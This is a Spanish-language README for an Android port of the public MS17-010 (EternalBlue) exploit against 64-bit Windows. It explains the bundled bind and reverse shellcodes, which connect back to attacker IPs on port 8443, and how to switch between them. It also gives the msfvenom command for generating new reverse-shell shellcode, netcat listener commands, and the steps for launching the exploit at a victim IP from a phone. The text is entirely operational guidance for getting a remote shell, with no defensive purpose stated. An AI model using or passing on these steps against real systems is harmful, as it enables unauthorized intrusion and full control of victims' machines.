Exploit para explotar la vulnerabilidad ms17-010 desde android y obtener shell del windows vulnerable Actualmente funciona solo para versiones de 64 bits
Este exploit es el exploit publicado en https://www.exploit-db.com/exploits/41987/ con algunas modificaciones minimas para que pueda usarse desde un celular android
Post con capturas de pantalla https://goo.gl/nqosHg
Basicamente al ejecutar el exploit proporcionando la ip de un equipo victima con windows 64 bits se va a ejecutar una bind shell que a abrirá el puerto 1337 en la victima y al conectarnos con netcat obtendremos la shell del windows
Shellcodes incluidos en el código fuente del exploit:
bind_shellcode: Abre el puerto 1337 en la victima reversetcp_shellcode: Se conectará al atacante en la ip 192.168.1.252 puerto 8443 reverse_b: Se conectará al atacante en la ip 192.168.0.252 puerto 8443
Si se desea que el payload sea una shell reversa se puede modificar la linea número 86 del exploit, se cambia shellcode = bind_shellcode por shellcode = reversetcp_shellcode
Lo anterior ejecutará una shell reversa que buscará la ip 192.168.1.252 y el puerto 8443 por lo que antes de ejecutar el exploit se debe ejecutar desde la terminal de android el comando nc -l -p 8443 y si se está en una red del segmento 192.168.1.x se debe cambiar la ip del celular a 192.168.1.252
La otra shellcode en el exploit es reverse_b
si se desea usar este otro shellcode se cambia la linea 86 del código por shellcode = reverse_b
Cambiando esta porción de código al ejecutarse el exploit buscará la ip 192.168.0.252 en el puerto 8443 entonces la opción para usar esta shellcode es si se está en un segmento de red 192.168.0.x , se pone la ip al android 192.168.0.252
Se se está en un segmento de red diferente a los mencionados antes y no es posible usar bind shell por que tal vez la máqauina victima tenga el firewall arriba es necesario generar una nueva shellcode usando msfvenom desde kali, con el siguiente comando
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.252 LPORT=8443 -f hex siendo lhost la ip de nuestro celular y lport es puerto que pusimos a la escucha con netcat
Para ejecutar el exploit desde android se abre primero terminal emulator y se digita el comando: nc -l -p 8443 Luego se abre la app qpython3 y se ejecuta el exploit con el comando: python android_ms_17_010.py 192.168.0.101 siendo la ip la de la victima windows
Las pruebas fueron hechas haciendo la explotación desde un celular Huawei G526 con Android 4.1 rooteado
También se probó desde un celular moto G5 con android 7, pero en este caso el comando para ejecutar el exploit cambia, se abre terminal emulator y se debe ejecutar pasandole las rutas completas del interprete de python y la ruta completa donde se encuentra el script asi: /data/user/0/org.qpython.qpy3/files/bin/qpython-android5.sh "/storage/emulated/0/qpython/scripts3/android_ms_17_010.py" 192.168.0.101
Luego actualizaré el procedimiento detallado con un post y un video
Terminal emulator https://play.google.com/store/apps/details?id=jackpal.androidterm&hl=en
QPython3 https://play.google.com/store/apps/details?id=org.qpython.qpy3&hl=en